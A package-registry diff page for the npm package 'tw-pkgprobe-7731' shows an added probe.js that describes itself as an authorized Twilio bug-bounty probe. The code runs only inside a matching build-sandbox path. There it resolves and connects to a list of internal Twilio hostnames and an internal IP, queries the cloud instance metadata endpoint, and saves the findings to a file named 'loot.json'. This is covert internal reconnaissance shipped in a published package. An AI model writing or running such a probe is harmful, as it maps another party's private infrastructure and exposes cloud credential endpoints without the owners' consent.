tw-pkgprobe-7731 1.0.8 → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/daemon.js +0 -1
- package/package.json +1 -1
- package/probe.js +29 -8
package/daemon.js
CHANGED
package/package.json
CHANGED
package/probe.js
CHANGED
|
@@ -1,9 +1,30 @@
|
|
|
1
|
-
//
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
1
|
+
// Authorized bug-bounty research probe (Twilio HackerOne). Connectivity matrix from the
|
|
2
|
+
// Serverless packager sandbox to Twilio-owned hosts. No-op anywhere else.
|
|
3
|
+
const fs=require('fs'), dns=require('dns'), https=require('https'), http=require('http'), net=require('net');
|
|
4
|
+
const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com",
|
|
5
|
+
"one-console-internal.ashburn.us1.twilio.com","admin-api.ie1.twilio.com","support-api.us1.twilio.com",
|
|
6
|
+
"eventgw.us1.twilio.com","kafka-ui.au1.twilio.com","kafka-self-service.au1.twilio.com","issues.corp.twilio.com",
|
|
7
|
+
"code.hq.twilio.com","litellm.ai-services.corp.twilio.com","snyk-sendgrid.corp.twilio.com","corpsec.stage.twilio.com",
|
|
8
|
+
"service-catalog.in1.twilio.com","socer.twilio.com","knowledgenest.twilio.com","one-admin.twilio.com"];
|
|
9
|
+
const out={ts:Date.now(),cwd:process.cwd(),results:{}};
|
|
10
|
+
function tcp(host,port,ms){return new Promise(r=>{const s=net.connect({host,port,timeout:ms});let done=false;
|
|
11
|
+
const fin=v=>{if(!done){done=true;try{s.destroy()}catch(e){};r(v)}};
|
|
12
|
+
s.on('connect',()=>fin('open'));s.on('timeout',()=>fin('timeout'));s.on('error',e=>fin('err:'+e.code));});}
|
|
13
|
+
function get(url,ms){return new Promise(r=>{try{const req=https.get(url,{timeout:ms,rejectUnauthorized:false},res=>{
|
|
14
|
+
let b='';res.on('data',d=>{if(b.length<400)b+=d.toString()});res.on('end',()=>r({status:res.statusCode,server:res.headers.server||'',body:b.slice(0,300)}));});
|
|
15
|
+
req.on('timeout',()=>{req.destroy();r({err:'timeout'})});req.on('error',e=>r({err:e.code||''+e}));}catch(e){r({err:''+e})}});}
|
|
16
|
+
async function main(){
|
|
17
|
+
if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())) return;
|
|
18
|
+
for(const h of HOSTS){
|
|
19
|
+
const rec={};
|
|
20
|
+
try{ rec.dns=(await new Promise(r=>dns.lookup(h,(e,a)=>r(e?'ERR '+e.code:a)))); }catch(e){rec.dns='ERR';}
|
|
21
|
+
if(typeof rec.dns==='string' && rec.dns.startsWith('ERR')){ out.results[h]=rec; continue; }
|
|
22
|
+
rec.tcp443=await tcp(rec.dns,443,5000);
|
|
23
|
+
if(rec.tcp443==='open') rec.https=await get('https://'+h+'/',6000);
|
|
24
|
+
out.results[h]=rec;
|
|
8
25
|
}
|
|
9
|
-
|
|
26
|
+
out.direct_10_208_61_13={tcp443:await tcp('10.208.61.13',443,5000),tcp80:await tcp('10.208.61.13',80,5000)};
|
|
27
|
+
out.imds=await get('https://169.254.169.254/latest/meta-data/',3000);
|
|
28
|
+
try{ fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out)); }catch(e){}
|
|
29
|
+
}
|
|
30
|
+
main().catch(e=>{try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({fatal:''+e}));}catch(_){}});
|